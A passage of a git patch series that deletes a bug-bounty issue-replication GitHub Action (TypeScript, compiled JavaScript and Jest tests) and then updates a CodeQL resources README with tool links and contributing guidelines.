TEST_INVALID_PAYLOAD_NOISSUE: WebhookPayload = { - repository: TEST_REPOSITORY, -} - -const TEST_LABEL_ALLFORONE = { name: 'All For One' } -const TEST_LABEL_NOTBOUNTY_1 = { name: 'not-a-bounty-label' } -const TEST_LABEL_NOTBOUNTY_2 = { name: 'not-a-bounty-label-either' } - -const TEST_PAYLOAD_NOTBOUNTY: WebhookPayload = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - user: { - login: 'issue_user', - html_url: 'https://github.com/users/issue_user' - }, - labels: [TEST_LABEL_NOTBOUNTY_1,TEST_LABEL_NOTBOUNTY_2], - } -} - -const TEST_PAYLOAD: WebhookPayload = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - user: { - login: 'ghsecuritylab', - html_url: 'https://github.com/ghsecuritylab' - }, - title: 'Issue Title', - labels: [TEST_LABEL_ALLFORONE,TEST_LABEL_NOTBOUNTY_1], - body: `# This is the issue title -This is the issue body first line -This is the issue body second line -` - } -} - -const TEST_GENERATED_ISSUE: replicate.Issue = { - title: '[All For One] Issue Title', - labels: ['All For One','not-a-bounty-label'], - bountyType: 'All For One', - body: `Original external [issue](https://github.com/test_owner/test_repo/issues/1) - -Submitted by [ghsecuritylab](https://github.com/ghsecuritylab) - -# This is the issue title -This is the issue body first line -This is the issue body second line -` -} - -describe('log errors when generating issue content', () => { - it('outputs a message for invalid issue in payload', async () => { - const debugMock = jest.spyOn(core, 'debug') - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOURL) - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload') - expect(issue).toBeUndefined() - - const issue2 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOUSER) - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload') - expect(issue2).toBeUndefined() - - const issue3 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOISSUE) - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload') - expect(issue3).toBeUndefined() - - }) -}) - -describe('excludes non bounty issues', () => { - it('creates the proper issue', async () => { - const debugMock = jest.spyOn(core, 'debug') - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD_NOTBOUNTY) - expect(debugMock).toHaveBeenCalledWith('Not a bounty') - expect(issue).toBeUndefined() - }) -}) - -describe('generates proper content', () => { - it('creates the proper issue', async () => { - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD) - expect(issue).toBeDefined() - expect(issue).toEqual(TEST_GENERATED_ISSUE) - }) -}) - -describe('check for duplicates', () => { - it('can find duplicates', async () => { - const TEST_REF: number = 31 - const TEST_BODY1 = `Original external [issue](https://github.com/owner/repo/issues/1)\n\nThen there is some text` - const TEST_BODY2 = `Original external [issue](https://github.com/owner/repo/issues/2)\n\nThen there is some text` - const TEST_INTERNAL_ISSUES: issues.Issue_info[] = [ - {title: 'issue 1', author: 'author1', body: TEST_BODY1, number: 31}, - {title: 'issue 2', author: 'author2', body: TEST_BODY2, number: 33} - ] - let foundRef: number | undefined = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/1', TEST_INTERNAL_ISSUES) - expect(foundRef).toEqual(TEST_REF) - foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/3', TEST_INTERNAL_ISSUES) - expect(foundRef).toBeUndefined() - }) -}) - - diff --git a/.github/actions/replicate/action.yml b/.github/actions/replicate/action.yml deleted file mode 100644 index 8860a2b..0000000 --- a/.github/actions/replicate/action.yml +++ /dev/null @@ -1,16 +0,0 @@ -name: 'replicate-action' -description: 'Replicates bounty internal' -author: 'xcorail' -inputs: - internal_repo: - description: 'The destination repo for the internal issue' - default: 'github/securitylab-bounties' - existing_issue: - description: 'Launching on existing issues: we check duplicates, and we do not comment the original issue' - default: false - specific_issue: - description: 'Specific issue to replicate, in case of manual trigger' - default: '' -runs: - using: 'node12' - main: './replicate.js' \ No newline at end of file diff --git a/.github/actions/replicate/issues.js b/.github/actions/replicate/issues.js deleted file mode 100644 index 2afb124..0000000 --- a/.github/actions/replicate/issues.js +++ /dev/null @@ -1,94 +0,0 @@ -"use strict"; -var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } }); -}) : (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - o[k2] = m[k]; -})); -var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { - Object.defineProperty(o, "default", { enumerable: true, value: v }); -}) : function(o, v) { - o["default"] = v; -}); -var __importStar = (this && this.__importStar) || function (mod) { - if (mod && mod.__esModule) return mod; - var result = {}; - if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); - __setModuleDefault(result, mod); - return result; -}; -Object.defineProperty(exports, "__esModule", { value: true }); -exports.internalIssueAlreadyCreated = exports.isUserAlreadyParticipant = exports.getIssueList = void 0; -const core = __importStar(require("@actions/core")); -const github = __importStar(require("@actions/github")); -const replicate = __importStar(require("./replicate")); -exports.getIssueList = async (owner, repo, token, open, checkBountyLabels, per_page) => { - if (!token) { - core.debug("No valid token for creating issues on the internal repo"); - return; - } - try { - let result = []; - const octokit = new github.GitHub(token); - const issueState = open ? 'open' : 'all'; - // const labelFilter: string = replicate.BOUNTY_LABELS.join(',') - const issuesPerPage = per_page ? per_page : 50; - let pageNb = 0; - do { - const issues = await octokit.issues.listForRepo({ - owner, - repo, - state: issueState, - per_page: issuesPerPage, - page: pageNb - // labels: labelFilter -- Does not work properly - }); - issues.data.forEach(issue => { - var _a; - const bountyLabel = checkBountyLabels ? issue.labels.some(label => { - return replicate.BOUNTY_LABELS.includes(label.name); - }) : undefined; - if (!checkBountyLabels || bountyLabel) { - let item = { - title: issue.title, - author: (_a = issue.user) === null || _a === void 0 ? void 0 : _a.login, - body: issue.body ? issue.body : '', - number: issue.number, - html_url: issue.html_url - }; - result.push(item); - } - }); - pageNb = (issues.data.length < issuesPerPage) ? -1 : pageNb + 1; - } while (pageNb >= 0); - return result; - } - catch (error) { - core.debug(error.message); - return undefined; - } -}; -exports.isUserAlreadyParticipant = (user, externalSubmissions) => { - if (!externalSubmissions) - return false; - const check = externalSubmissions.some(element => { - return (element.author === user); - }); - return check; -}; -function escapeRegExp(text) { - return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); -} -exports.internalIssueAlreadyCreated = (externalSubmissionUrl, internalIssues) => { - const searchString = new RegExp(escapeRegExp(`Original external [issue](${externalSubmissionUrl})`)); - let ref = undefined; - internalIssues.some(element => { - if (element.body.search(searchString) != -1) { - ref = element.number; - return true; - } - }); - return ref; -}; -//# sourceMappingURL=issues.js.map \ No newline at end of file diff --git a/.github/actions/replicate/issues.ts b/.github/actions/replicate/issues.ts deleted file mode 100644 index de5d6ba..0000000 --- a/.github/actions/replicate/issues.ts +++ /dev/null @@ -1,77 +0,0 @@ -import * as core from '@actions/core' -import * as github from '@actions/github' -import * as replicate from './replicate' - -export type Issue_info = {title: string, author: string, body: string, number: number, html_url?: string} -type Issue_state = 'open' | 'all' | 'closed' | undefined - -export const getIssueList = async (owner: string, repo: string, token: string | undefined, open: boolean, checkBountyLabels: boolean, per_page?: number) : Promise => { - if(!token) { - core.debug("No valid token for creating issues on the internal repo") - return - } - try { - let result: Issue_info[] = [] - const octokit = new github.GitHub(token) - const issueState: Issue_state = open? 'open' : 'all' - // const labelFilter: string = replicate.BOUNTY_LABELS.join(',') - const issuesPerPage = per_page? per_page : 50 - let pageNb = 0 - do { - const issues = await octokit.issues.listForRepo({ - owner, - repo, - state: issueState, - per_page: issuesPerPage, - page: pageNb - // labels: labelFilter -- Does not work properly - }) - - issues.data.forEach(issue => { - const bountyLabel = checkBountyLabels? issue.labels.some(label => { - return replicate.BOUNTY_LABELS.includes(label.name as replicate.BountyType) - }) : undefined - if(!checkBountyLabels || bountyLabel){ - let item: Issue_info = { - title: issue.title, - author: issue.user?.login, - body: issue.body? issue.body : '', - number: issue.number, - html_url: issue.html_url - } - result.push(item) - } - }); - pageNb = (issues.data.length < issuesPerPage)? -1 : pageNb + 1 - } while (pageNb >= 0) - return result - } catch(error) { - core.debug(error.message) - return undefined - } -} - -export const isUserAlreadyParticipant = (user: string, externalSubmissions: Issue_info[] | undefined) : boolean => { - if(!externalSubmissions) - return false - const check = externalSubmissions.some( element => { - return (element.author === user) - }) - return check -} - -function escapeRegExp(text: string) { - return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&') -} - -export const internalIssueAlreadyCreated = (externalSubmissionUrl: string | undefined, internalIssues: Issue_info[]) : number | undefined => { - const searchString = new RegExp(escapeRegExp(`Original external [issue](${externalSubmissionUrl})`)) - let ref: number | undefined = undefined - internalIssues.some( element => { - if(element.body.search(searchString) != -1) { - ref = element.number - return true - } - }) - return ref -} diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js deleted file mode 100644 index 42cee35..0000000 --- a/.github/actions/replicate/replicate.js +++ /dev/null @@ -1,204 +0,0 @@ -"use strict"; -var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } }); -}) : (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - o[k2] = m[k]; -})); -var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { - Object.defineProperty(o, "default", { enumerable: true, value: v }); -}) : function(o, v) { - o["default"] = v; -}); -var __importStar = (this && this.__importStar) || function (mod) { - if (mod && mod.__esModule) return mod; - var result = {}; - if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); - __setModuleDefault(result, mod); - return result; -}; -Object.defineProperty(exports, "__esModule", { value: true }); -exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0; -const core = __importStar(require("@actions/core")); -const github = __importStar(require("@actions/github")); -const issues_1 = require("./issues"); -exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer']; -const COMMENT_TASK_LIST_AFO = `## Task List - -- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)** -- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - -- [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - - [ ] Acceptance - - [ ] Generate result set and post the URL in the comment -- [ ] Security Lab assessment - In case of rejection, please record your decision in the comment below: - - [ ] Acceptance - - [ ] Score the Vulnerability Impact, the Vulnerability Scope, and the False Positive ratio based on the provided CodeQL result set - - [ ] Document your assessments in comments below, for the CodeQL team - - [ ] Provide feedback to the author in the PR -- [ ] CodeQL assessment: - - [ ] Provide feedback to the author in the PR - - [ ] Merge the PR into the experimental folder - - [ ] Score the Code Maturity and the Documentation -- [ ] Bounty Payment -`; -const COMMENT_TASK_LIST_BS = `## Task List -- [ ] Security Lab assessment: - - [ ] Acceptance - - [ ] Confirm the CVE - - [ ] Assess the Vulnerability Impact, the Vulnerability Scope - - [ ] Get the CodeQL scores (False Positive ratio, Code Maturity and the Documentation) from the previous query rating - - [ ] PR is merged? Finalize the score -- [ ] Bounty Payment`; -const COMMENT_TASK_LIST = { - 'All For One': COMMENT_TASK_LIST_AFO, - 'The Bug Slayer': COMMENT_TASK_LIST_BS -}; -const COMMENT_SCORING = `## Scoring - -- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** -- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** - -| Criterion | Score| -|--- | --- | -| Vulnerability Impact | | -| Vulnerability Scope | | -| False Positive | | -| Code Maturity | | -| Documentation | | - -- [ ] Reject -- [ ] Reject with thank you reward -- [ ] Reject with encouragement swag (Decision: Dev Advocacy) -- [ ] Accept -`; -const getIssueFromRef = async (issueRef) => { - if (!issueRef) - return undefined; - const token = process.env['GITHUB_TOKEN']; - if (token === undefined) - return undefined; - const octokit = new github.GitHub(token); - const issueResponse = await octokit.issues.get({ - owner: github.context.repo.owner, - repo: github.context.repo.repo, - issue_number: Number(issueRef), - }); - return issueResponse.data; -}; -exports.generateInternalIssueContentFromPayload = async (payload, issueRef) => { - const issue = await getIssueFromRef(issueRef) || (payload === null || payload === void 0 ? void 0 : payload.issue); - let result = { title: 'none', body: 'none', labels: [], bountyType: 'All For One' }; - let bountyIssue = false; - if (!issue || !issue.user || !issue.html_url) { - core.debug("Invalid issue payload"); - return undefined; - } - issue.labels.forEach((element) => { - result.labels.push(element.name); - if (!bountyIssue) { - bountyIssue = exports.BOUNTY_LABELS.includes(element.name); - if (bountyIssue) { - result.bountyType = element.name; - } - } - }); - if (!bountyIssue) { - core.debug("Not a bounty"); - return undefined; - } - result.title = `[${result.bountyType}] ${issue.title}`, - // In order to differentiate immediately the issues from others in the repo - // And with the current situation, the robot with Read access cannot add labels to the issue - result.body = `Original external [issue](${issue.html_url}) - -Submitted by [${issue.user.login}](${issue.user.html_url}) - -${issue.body ? issue.body : ""}`; - return result; -}; -exports.createInternalIssue = async (issue) => { - const internalRepoAccessToken = process.env['INT_REPO_TOKEN']; - let internal_ref = undefined; - if (!internalRepoAccessToken) { - core.debug("No valid token for creating issues on the internal repo"); - return; - } - try { - const octokit = new github.GitHub(internalRepoAccessToken); - const internalRepo = core.getInput('internal_repo') || '/'; - const [owner, repo] = internalRepo.split('/'); - const issueResponse = await octokit.issues.create({ - owner, - repo, - title: issue.title, - body: issue.body, - labels: issue.labels - }); - internal_ref = issueResponse.data.number; - core.debug(`issue created: ${internal_ref}`); - const labelsResponse = await octokit.issues.addLabels({ - owner, - repo, - issue_number: internal_ref, - labels: issue.labels - }); - core.debug(`Labels addition result: ${labelsResponse.status} ${(labelsResponse.status == 200) ? "OK" : "FAILED"}`); - const issueCommentResponse1 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_TASK_LIST[issue.bountyType], - }); - core.debug(`comment created ${issueCommentResponse1.data.url}`); - const issueCommentResponse2 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_SCORING, - }); - core.debug(`comment created ${issueCommentResponse2.data.url}`); - const issueCard = await octokit.projects.createCard({ - column_id: (issue.labels.includes(exports.BOUNTY_LABELS[1])) ? 10205381 : 10205379, - content_id: internal_ref, - content_type: 'issue', - }); - core.debug(`Card creation status: ${issueCard.status}`); - } - catch (error) { - core.debug(error.message); - } - return internal_ref; -}; -const checkDuplicates = async (payload) => { - var _a; - const internalRepoAccessToken = process.env['INT_REPO_TOKEN']; - const internalRepo = core.getInput('internal_repo') || '/'; - const [owner, repo] = internalRepo.split('/'); - const internalIssues = await issues_1.getIssueList(owner, repo, internalRepoAccessToken, false, false); - if (!internalIssues) { - core.debug('Internal error. Cannot check for duplicates. Aborting'); - return true; - } - else { - const ref = issues_1.internalIssueAlreadyCreated((_a = payload.issue) === null || _a === void 0 ? void 0 : _a.html_url, internalIssues); - if (ref) { - core.debug(`This issue has already been duplicated with reference ${ref}`); - return true; - } - } - return false; -}; -const run = async () => { - const internalIssue = await exports.generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue')); - if (!internalIssue) - return; - if (await checkDuplicates(github.context.payload)) - return; - const internal_ref = await exports.createInternalIssue(internalIssue); - if (!internal_ref) - return; -}; -run(); -//# sourceMappingURL=replicate.js.map diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts deleted file mode 100644 index fc1c9e8..0000000 --- a/.github/actions/replicate/replicate.ts +++ /dev/null @@ -1,206 +0,0 @@ -import * as core from '@actions/core' -import * as github from '@actions/github' -import { WebhookPayload } from '@actions/github/lib/interfaces' -import { getIssueList, internalIssueAlreadyCreated } from './issues' - -export const BOUNTY_LABELS = ['All For One', 'The Bug Slayer'] as const -export type BountyType = typeof BOUNTY_LABELS[number] -type CommentMap = {[K in BountyType]: string} -export type Issue = {title: string, body: string, labels: string[], bountyType: BountyType} -type GitHubIssue = { [key: string]: any, number: number, html_url?: string | undefined, body?: string | undefined} - -const COMMENT_TASK_LIST_AFO = `## Task List - -- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)** -- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - -- [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - - [ ] Acceptance - - [ ] Generate result set and post the URL in the comment -- [ ] Security Lab assessment - In case of rejection, please record your decision in the comment below: - - [ ] Acceptance - - [ ] Score the Vulnerability Impact, the Vulnerability Scope, and the False Positive ratio based on the provided CodeQL result set - - [ ] Document your assessments in comments below, for the CodeQL team - - [ ] Provide feedback to the author in the PR -- [ ] CodeQL assessment: - - [ ] Provide feedback to the author in the PR - - [ ] Merge the PR into the experimental folder - - [ ] Score the Code Maturity and the Documentation -- [ ] Bounty Payment -` - -const COMMENT_TASK_LIST_BS = `## Task List -- [ ] Security Lab assessment: - - [ ] Acceptance - - [ ] Confirm the CVE - - [ ] Assess the Vulnerability Impact, the Vulnerability Scope - - [ ] Get the CodeQL scores (False Positive ratio, Code Maturity and the Documentation) from the previous query rating - - [ ] PR is merged? Finalize the score -- [ ] Bounty Payment` - -const COMMENT_TASK_LIST: CommentMap = { - 'All For One': COMMENT_TASK_LIST_AFO, - 'The Bug Slayer': COMMENT_TASK_LIST_BS -} - -const COMMENT_SCORING = `## Scoring - -- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** -- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** - -| Criterion | Score| -|--- | --- | -| Vulnerability Impact | | -| Vulnerability Scope | | -| False Positive | | -| Code Maturity | | -| Documentation | | - -- [ ] Reject -- [ ] Reject with thank you reward -- [ ] Reject with encouragement swag (Decision: Dev Advocacy) -- [ ] Accept -` - -const getIssueFromRef = async (issueRef: string | undefined): Promise => { - if(!issueRef) - return undefined - const token: string | undefined = process.env['GITHUB_TOKEN'] - if(token === undefined) - return undefined - const octokit: github.GitHub = new github.GitHub(token) - const issueResponse = await octokit.issues.get({ - owner: github.context.repo.owner, - repo: github.context.repo.repo, - issue_number: Number(issueRef), - }); - return issueResponse.data -} - -export const generateInternalIssueContentFromPayload = async (payload?: WebhookPayload, issueRef?: string): Promise => { - const issue = await getIssueFromRef(issueRef) || payload?.issue - let result: Issue = {title: 'none', body: 'none', labels: [], bountyType: 'All For One'} - let bountyIssue: boolean = false - - if(!issue || !issue.user || !issue.html_url) { - core.debug("Invalid issue payload") - return undefined - } - - issue.labels.forEach((element:any) => { - result.labels.push(element.name) - if(!bountyIssue) { - bountyIssue = BOUNTY_LABELS.includes(element.name) - if(bountyIssue) { - result.bountyType = element.name - } - } - }); - - if(!bountyIssue) { - core.debug("Not a bounty") - return undefined - } - - result.title = `[${result.bountyType}] ${issue.title}`, - // In order to differentiate immediately the issues from others in the repo - // And with the current situation, the robot with Read access cannot add labels to the issue - result.body = `Original external [issue](${issue.html_url}) - -Submitted by [${issue.user.login}](${issue.user.html_url}) - -${issue.body? issue.body : ""}` - - return result -} - -export const createInternalIssue = async (issue: Issue) : Promise => { - const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN'] - let internal_ref: number | undefined = undefined - - if(!internalRepoAccessToken) { - core.debug("No valid token for creating issues on the internal repo") - return - } - try { - const octokit: github.GitHub = new github.GitHub(internalRepoAccessToken) - const internalRepo = core.getInput('internal_repo') || '/' - const [owner, repo] = internalRepo.split('/') - const issueResponse = await octokit.issues.create( { - owner, - repo, - title: issue.title, - body: issue.body, - labels: issue.labels - }) - internal_ref = issueResponse.data.number - core.debug(`issue created: ${internal_ref}`) - const labelsResponse = await octokit.issues.addLabels( { - owner, - repo, - issue_number: internal_ref, - labels: issue.labels - }) - core.debug(`Labels addition result: ${labelsResponse.status} ${(labelsResponse.status==200)? "OK" : "FAILED"}`) - - const issueCommentResponse1 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_TASK_LIST[issue.bountyType], - }) - core.debug(`comment created ${issueCommentResponse1.data.url}`) - - const issueCommentResponse2 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_SCORING, - }) - core.debug(`comment created ${issueCommentResponse2.data.url}`) - - const issueCard = await octokit.projects.createCard({ - column_id: (issue.labels.includes(BOUNTY_LABELS[1]))? 10205381 : 10205379, - content_id: internal_ref, - content_type: 'issue', - }); - core.debug(`Card creation status: ${issueCard.status}`) - - } catch(error) { - core.debug(error.message) - } - return internal_ref -} - -const checkDuplicates = async (payload: WebhookPayload): Promise => { - const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN'] - const internalRepo = core.getInput('internal_repo') || '/' - const [owner, repo] = internalRepo.split('/') - const internalIssues = await getIssueList(owner, repo, internalRepoAccessToken, false, false) - if(!internalIssues) { - core.debug('Internal error. Cannot check for duplicates. Aborting') - return true - } else { - const ref = internalIssueAlreadyCreated(payload.issue?.html_url, internalIssues) - if(ref) { - core.debug(`This issue has already been duplicated with reference ${ref}`) - return true - } - } - return false -} - -const run = async (): Promise => { - const internalIssue = await generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue')) - if(!internalIssue) - return - - if(await checkDuplicates(github.context.payload)) - return - - const internal_ref = await createInternalIssue(internalIssue) - if(!internal_ref) - return -} - -run() From 896ab82c9eda7f9df5bb5883a0493e8b48211308 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 24 Feb 2021 11:28:54 +0000 Subject: [PATCH 007/140] Add links to editor plug-ins. --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 67f7e06..9938071 100644 --- a/README.md +++ b/README.md @@ -42,3 +42,9 @@ We use it for these main purposes: * [Vulnerability Hunting: Quest for an Exploit using QL](https://www.youtube.com/watch?v=irrYp3wdtsw) * [Finding Insecure Deserialization in Java](https://www.youtube.com/watch?v=XsUcSd75K00) * [Finding integer overflows in Libssh2](https://www.youtube.com/watch?v=czXicfULOfk) + +### Tools + +* Editor plugins + * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) + * [Neovim](https://github.com/pwntester/codeql.nvim) From 8d0124f250e581bfe0d6b19fae3c18734e2d6e9d Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 25 Feb 2021 11:59:03 +0000 Subject: [PATCH 008/140] Update README.md Co-authored-by: Xavier RENE-CORAIL --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9938071..54d7dfa 100644 --- a/README.md +++ b/README.md @@ -46,5 +46,5 @@ We use it for these main purposes: ### Tools * Editor plugins - * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) + * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official) * [Neovim](https://github.com/pwntester/codeql.nvim) From 986e6155f30a5b9477b93779e1b73858f5d8d536 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 23 Feb 2021 17:15:55 +0000 Subject: [PATCH 009/140] Add Contributing section. --- README.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/README.md b/README.md index 54d7dfa..299c328 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,8 @@ We use it for these main purposes: ## CodeQL Resources +We welcome contributions to this section. For example, if you have written a blog post about a cool CodeQL query and would like to add a link to it here, then please open a pull request. See [Contributing](#Contributing) below. + ### Official resources * [CodeQL documentation](https://codeql.github.com/docs/) @@ -48,3 +50,10 @@ We use it for these main purposes: * Editor plugins * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official) * [Neovim](https://github.com/pwntester/codeql.nvim) + +## Contributing + +We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. For example, if you found a vulnerability with CodeQL and would like to share the query with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Or if you have recorded a video in which you use CodeQL then please open a pull request to add it to the [Videos](#videos) section of this README. + +Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license. + From 7bfa0779ba091390d7d39c4c35c662f3b8b64c80 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 24 Feb 2021 11:37:12 +0000 Subject: [PATCH 010/140] Update README.md Co-authored-by: Xavier RENE-CORAIL --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 299c328..e335e3e 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ We use it for these main purposes: ## CodeQL Resources -We welcome contributions to this section. For example, if you have written a blog post about a cool CodeQL query and would like to add a link to it here, then please open a pull request. See [Contributing](#Contributing) below. +**This section is yours!** Do you want to share a cool CodeQL query with the community? Or some awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below. ### Official resources From af4b660f154647002d00566220d175bf13233b53 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 25 Feb 2021 10:24:44 +0000 Subject: [PATCH 011/140] Update Contributing section. --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index e335e3e..15411d6 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ We use it for these main purposes: ## CodeQL Resources -**This section is yours!** Do you want to share a cool CodeQL query with the community? Or some awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below. +**This section is yours!** Do you want to share a cool CodeQL query with the community? Or an awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below. ### Official resources @@ -53,7 +53,11 @@ We use it for these main purposes: ## Contributing -We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. For example, if you found a vulnerability with CodeQL and would like to share the query with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Or if you have recorded a video in which you use CodeQL then please open a pull request to add it to the [Videos](#videos) section of this README. +We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. + +If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead. We do not offer bounties for queries submitted to this repo. The queries in the [CodeQL_Queries](CodeQL_Queries) sub-directory are usually highly specialized queries that only make sense for a specific codebase. For example, this repo contains queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776). Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only. + +If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license. From c0f70d31a0ecf3d9a0a718d3bd05f0f47ebb5c19 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 25 Feb 2021 12:05:07 +0000 Subject: [PATCH 012/140] Delete newline. --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 15411d6..e1cad99 100644 --- a/README.md +++ b/README.md @@ -60,4 +60,3 @@ If you have written a cool CodeQL query that you would like to share with the co If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license. - From c71c7073e61461658ab445744d5f1428f59c4709 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Fri, 26 Feb 2021 21:21:04 +0000 Subject: [PATCH 013/140] Remove useless files --- .eslintignore | 2 - eslintrc.json | 36 - jest.config.js | 12 - package-lock.json | 5887 --------------------------------------------- package.json | 25 - tsconfig.json | 18 - 6 files changed, 5980 deletions(-) delete mode 100644 .eslintignore delete mode 100644 eslintrc.json delete mode 100644 jest.config.js delete mode 100644 package-lock.json delete mode 100644 package.json delete mode 100644 tsconfig.json diff --git a/.eslintignore b/.eslintignore deleted file mode 100644 index ee5b393..0000000 --- a/.eslintignore +++ /dev/null @@ -1,2 +0,0 @@ -*.js -!/.github diff --git a/eslintrc.json b/eslintrc.json 